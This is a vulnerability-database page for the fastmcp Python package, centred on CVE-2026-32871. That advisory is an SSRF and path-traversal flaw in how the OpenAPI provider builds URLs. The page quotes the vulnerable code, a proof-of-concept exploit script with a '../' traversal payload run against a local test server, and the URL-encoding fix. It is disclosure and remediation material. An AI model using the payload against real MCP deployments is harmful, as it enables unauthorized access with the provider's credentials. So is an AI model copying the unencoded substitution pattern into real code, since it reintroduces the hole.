Vulnerabilities in pkg:pypi/fastmcp

PACKAGE
Advisory Identifier: GHSA-vv7q-7jx5-f767
Advisory Summary

CVE-2026-32871 is a CRITICAL (CVSS 10.0) path traversal vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Fastmcp libraries in the PyPI ecosystem. The issue involves fastmcp openapi provider has an ssrf & path traversal vulnerability. Remediation is available by upgrading affected packages to version 3.2.0.

8 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/fastmcp

8 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/fastmcp. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-vv7q-7jx5-f767 CVE-2026-32871 CRITICAL FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
GHSA-rww4-4w9c-7733 CVE-2026-27124 HIGH FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities
GHSA-m8x7-r2rg-vh5g CVE-2025-64340 MODERATE FastMCP has a Command Injection vulnerability - Gemini CLI
GHSA-5h2m-4q8j-pqpj CVE-2025-69196 HIGH FastMCP OAuth Proxy token reuse across MCP servers
GHSA-c2jp-c369-7pvx - HIGH FastMCP Auth Integration Allows for Confused Deputy Account Takeover
GHSA-rcfx-77hg-w2wv - HIGH FastMCP updated to MCP 1.23+ due to CVE-2025-66416
GHSA-mxxr-jv3v-6pgc CVE-2025-62800 MODERATE FastMCP vulnerable to reflected XSS in client's callback page
GHSA-rj5c-58rq-j5g5 CVE-2025-62801 MODERATE FastMCP vulnerable to windows command injection in FastMCP Cursor installer via server_name

CVE-2026-32871 at a Glance

CVE Identifier CVE-2026-32871
GHSA Identifier GHSA-vv7q-7jx5-f767
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Fastmcp
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-32871

To remediate this vulnerability, upgrade all affected Fastmcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fastmcp fixed: 3.2.0
pip install fastmcp>=3.2.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fastmcp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-32871, inspect your installed packages using pip:

pip show fastmcp

Analyze the terminal output to locate any version of Fastmcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.2.0), your application is affected.

Note: The pip show fastmcp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Fastmcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification - **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented - **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited - **Lateral Movement**: Internal-only services may be compromised from the network boundary ### Attack Scenarios 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints 2. **Data Theft**: Access internal databases or sensitive information endpoints 3. **Service Disruption**: Trigger destructive operations on backend services 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials --- ## Remediation ### Recommended Fix URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters. **Updated code for `_build_url()` method:** ```python import urllib.parse def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: # Apply safe URL encoding to prevent traversal attacks # safe="" ensures ALL special characters are encoded safe_value = urllib.parse.quote(str(param_value), safe="") url_path = url_path.replace(placeholder, safe_value) return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ```

CVE-2026-32871 Affected Fastmcp Versions

1 component(s)
Fixed Versions:
3.2.0
Product / Package Ecosystem Affected Versions Fixed Version
fastmcp
PyPI
< 3.2.0
3.2.0

References

Frequently Asked Questions

What is CVE-2026-32871?
CVE-2026-32871 is a security vulnerability in Fastmcp involving FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability under CWE-918: Server-Side Request Forgery (SSRF).
Which Fastmcp versions are affected?
Affected versions include releases prior to 3.2.0 across affected packages: fastmcp.
What version fixes CVE-2026-32871?
Upgrading to 3.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fastmcp affected?
Yes, fastmcp is affected in releases prior to 3.2.0. Upgrade your dependency to 3.2.0 or later.
What is the CVSS score of CVE-2026-32871?
CVE-2026-32871 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-32871?
CVE-2026-32871 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-32871?
Run the dependency tree command: 'pip show fastmcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv7q-7jx5-f767",
  "modified" : "2026-04-10T19:34:35Z",
  "published" : "2026-03-31T22:53:21Z",
  "aliases" : [ "CVE-2026-32871" ],
  "summary" : "FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability",
  "details" : "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The '?' character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider's authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fastmcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/pull/3507"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PrefectHQ/fastmcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T22:53:21Z",
    "nvd_published_at" : "2026-04-02T15:16:38Z"
  }
}